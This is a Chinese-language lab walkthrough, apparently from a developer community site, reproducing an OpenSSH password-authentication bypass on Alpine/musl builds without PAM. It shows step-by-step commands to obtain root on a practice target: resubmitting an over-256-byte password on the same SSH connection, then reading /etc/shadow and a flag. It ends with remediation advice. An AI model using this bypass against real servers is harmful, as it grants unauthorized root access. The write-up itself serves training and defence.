靶场地址：[HexC2 · 实战攻防演练平台](https://hexc2.com/laboratory/targets/118 "HexC2 · 实战攻防演练平台")

github本地部署：[GitHub - hexc2/HexC2-Vuln](https://github.com/hexc2/HexC2-Vuln "GitHub - hexc2/HexC2-Vuln")

![image-20261106175802064](https://developer.qcloudimg.com/http-save/yehe-12865603/5547b2ccc29ee39cd717054be6995d58.png)

进入靶场，先确认真实攻击面

连接 VPN 之后获取靶场内网的 IP 地址。以下用 `10.30.5.212` 作为示例；实际操作时替换成自己实例分配的 IP。

80 端口返回的是 HEXC2LABS 的静态官网，不存在登录入口、表单或其他可交互的功能。它只是个门面，真正要查的是 SSH。

![HEXC2LABS 官网首页](https://developer.qcloudimg.com/http-save/yehe-12865603/66b67cb1d63ad0f0a2c9b69b368de77b.png)

*图 1：80 端口上的 HEXC2LABS 静态首页，没有可利用的交互功能。*

靶场提供入口账户为 `seed`，口令为 `Seed@2026`。先正常进行登录操作，不要着急去猜测root的密码：

```bash
ssh seed@10.30.5.212
```

拿到 shell 之后，查看当前的身份、发行版、OpenSSH 版本以及 sshd 所连接的 libc：

```bash
id
cat /etc/os-release
/usr/sbin/sshd -V 2>&1
ldd /usr/sbin/sshd
ls -l /etc/shadow
```

实际回显如下：

```bash
uid=1000(seed) gid=1000(seed) groups=1000(seed)
NAME="Alpine Linux"
ID=alpine
OpenSSH_10.5p1, OpenSSL 3.5.9 29 Sep 2026
        /lib/ld-musl-x86_64.so.1 (0x760a6e9e6000)
        libcrypto.so.3 => /usr/lib/libcrypto.so.3 (0x760a6e483000)
        libc.musl-x86_64.so.1 => /lib/ld-musl-x86_64.so.1 (0x760a6e9e6000)
-rw-r-----    1 root     shadow         423 Nov  6 08:01 /etc/shadow
```

这里几个条件已经对上：系统是 Alpine，sshd 使用 musl，版本为 OpenSSH 10.5p1，而且靶场使用 `--without-pam` 构建。漏洞背景标注为 QVD-2026-104595，影响 OpenSSH < 10.6p2 且运行在 musl libc、未启用 PAM 的环境。单看版本号不够，libc 和认证路径也必须符合条件。

![seed 登录后的环境信息](https://developer.qcloudimg.com/http-save/yehe-12865603/09d4a8c1a5590bf1fae3ab85370d1031.png)

*图 2：seed 登录后确认 Alpine、musl 和 OpenSSH 版本。*

## 绕过发生在第二次认证

这个问题不是拿到 seed 之后读取 hash，再去破解 root 密码。利用点在 musl 的 `crypt(3)` 返回值与 sshd 的比较逻辑上。

musl 在密码计算失败时会返回字符串 `*`，而不是 `NULL`。密码超过 256 字节时，计算会失败。另一方面，`/etc/shadow` 中的 `*` 是锁定账户的标记。非 PAM 认证路径会对锁定账户继续调用 `crypt()` 做时序均衡；当输入过长导致返回 `*`，待比较值也恰好是 `*`，字符串比较便可能通过。

但这不是“输入一次超长密码就进 root”。同一个 TCP 连接中的第一次认证必然失败：`pick_salt` 会覆盖 `getspnam` 使用的静态缓冲区，导致待比较指针被冲掉。第一次认证之后，盐已被缓存；第二次复用连接再提交超长密码，才会落入可利用的比较结果。

以 root 作为目标账户，启动一个 SSH 客户端连接，并关闭公钥认证，确保走密码认证：

```bash
ssh -o PreferredAuthentications=password \
    -o PubkeyAuthentication=no \
    root@10.30.5.212
```

准备一个至少 257 字节的字符串。靶场操作使用 300 个 `A`：

```bash
python3 -c 'print("A"*300)'
```

将输出复制到 SSH 的密码提示中。第一次看到拒绝信息后，不要退出，也不要重新运行 `ssh`；在同一条连接的第二次密码提示中，再粘贴同一个 300 字节的字符串。实测回显：

```bash
第一次：Permission denied, please try again.
第二次：（登录成功，直接进 shell）
$ id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

![第一次失败，第二次直接进 root](https://developer.qcloudimg.com/http-save/yehe-12865603/950848bf085a877007645aa14b62478f.png)

*图 3：同一 SSH 连接内第一次失败，第二次认证进入 root。*

进入 root 后，读取 shadow 和 flag：

```bash
grep -E "^(root|seed):" /etc/shadow
```
```bash
root:*:20763:0:::::
seed:$6$5MT4arcvn7r3UTU3$fHvL6EJO6qvAec4REX3WxOV0kwtg25gjR
```
```bash
cat /root/flag.txt
```
```bash
hexc2{cve-musl-ssh-bypass-f71f625a}
```

seed 的 `$6$` 字段是 SHA-512 crypt 哈希，也说明系统存在一个带真实哈希的账户。漏洞利用需要 `pick_salt` 有可借用的盐；如果机器上没有这样的账户，关键前提就不成立。flag 是每台实例动态生成的，示例中的 `hexc2{cve-musl-ssh-bypass-f71f625a}` 只对应本次回显，提交时应以自己靶场实例为准。

![root 的 shadow 字段和本次实例的 flag](https://developer.qcloudimg.com/http-save/yehe-12865603/491aaabe2f3d7f3a0b2e538bd0916c91.png)

*图 4：root 的锁定标记与本次实例生成的动态 flag。*

## 读者容易误解的点

第一次收到 `Permission denied`，不代表环境坏了，也不代表利用条件不满足。第一次失败是利用过程本身的一部分。要保留当前 SSH 会话，让客户端继续在同一 TCP 连接上发起第二次认证。关闭客户端后重新连接，会重新进入第一次尝试的状态；把两个密码分别放进两个 SSH 命令里，也不能触发第二次认证所需的缓存条件。

这也不是猜中了 root 的口令。输入内容只是超过 256 字节的占位字符串，利用依赖的是 musl 返回 `*` 与 shadow 锁定标记 `*` 的相等比较。更不能把所有锁定账户都视为可登录：这里还要求目标账户允许 SSH 登录、sshd 走非 PAM 路径、版本与 libc 条件匹配，并且系统存在可供 `pick_salt` 使用的真实 `$6$` 哈希。

还有一个容易踩的配置点：`PermitRootLogin`。靶场明确允许 root 登录；如果设成默认的 `PermitRootLogin prohibit-password`，密码认证会被策略挡住，实测打不通。把 shadow 里 root 的 `*` 改成 `!` 也不能替代利用条件，`!` 和 `*` 不相等，得不到这里依赖的比较结果。排查时先确认 SSH 策略和认证路径，别把所有失败都归到输入长度上。

## 修复

要从服务端消除触发条件，而不是只改客户端行为：

-   升级到 OpenSSH 10.6p2 或发行版安全更新，别再跑受影响的版本。
    
-   启用 PAM 认证路径（前提是 sshd 编译时带 PAM），或改用经过验证的认证实现；不要依赖受影响的非 PAM 密码处理逻辑。
    
-   禁止 root 走 SSH 密码登录，设置 `PermitRootLogin no`，改用普通账户配合受控的提权流程。
    
-   收窄密码认证的暴露面：优先公钥认证，再叠加网络访问控制和日志监控，盯住异常的超长密码尝试。

连接 VPN 之后获取靶场内网的 IP 地址。以下用 10.30.5.212 作为示例；实际操作时替换成自己实例分配的 IP。

OpenSSH 密码认证绕过，CVE-2026-123158 漏洞复现

人工智能

HexC2靶场演示OpenSSH 10.5p1在Alpine musl环境下的QVD-2026-104595漏洞利用。通过SSH复用TCP连接，首次失败后二次提交300字节超长密码，利用musl crypt返回`*`与shadow锁定标记相等逻辑绕过认证获取root权限。文章详解检测步骤、利用条件、常见误区及升级OpenSSH、启用PAM等修复方案，附动态flag示例。

Alpine Linux

代码解释

GitHub

Linux

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

EdgeOne AI 安全实战专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

社区新版编辑器体验调研

HexC2靶场演示OpenSSH 10.5p1在Alpine musl环境下的QVD-2026-104595漏洞利用。通过SSH复用TCP连接，首次失败后二次提交300字节超长密码，利用musl crypt返回`*`与shadow锁定标记相等逻辑绕过认证获取root权限。文章详解检测步骤、利用条件、常见误区及升级Ope...

OpenSSH 密码认证绕过，CVE-2026-123158 漏洞复现-腾讯云开发者社区-腾讯云

OpenSSH 密码认证绕过，CVE-2026-123158 漏洞复现

OpenSSH 密码认证绕过，CVE-2026-123158 漏洞复现

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐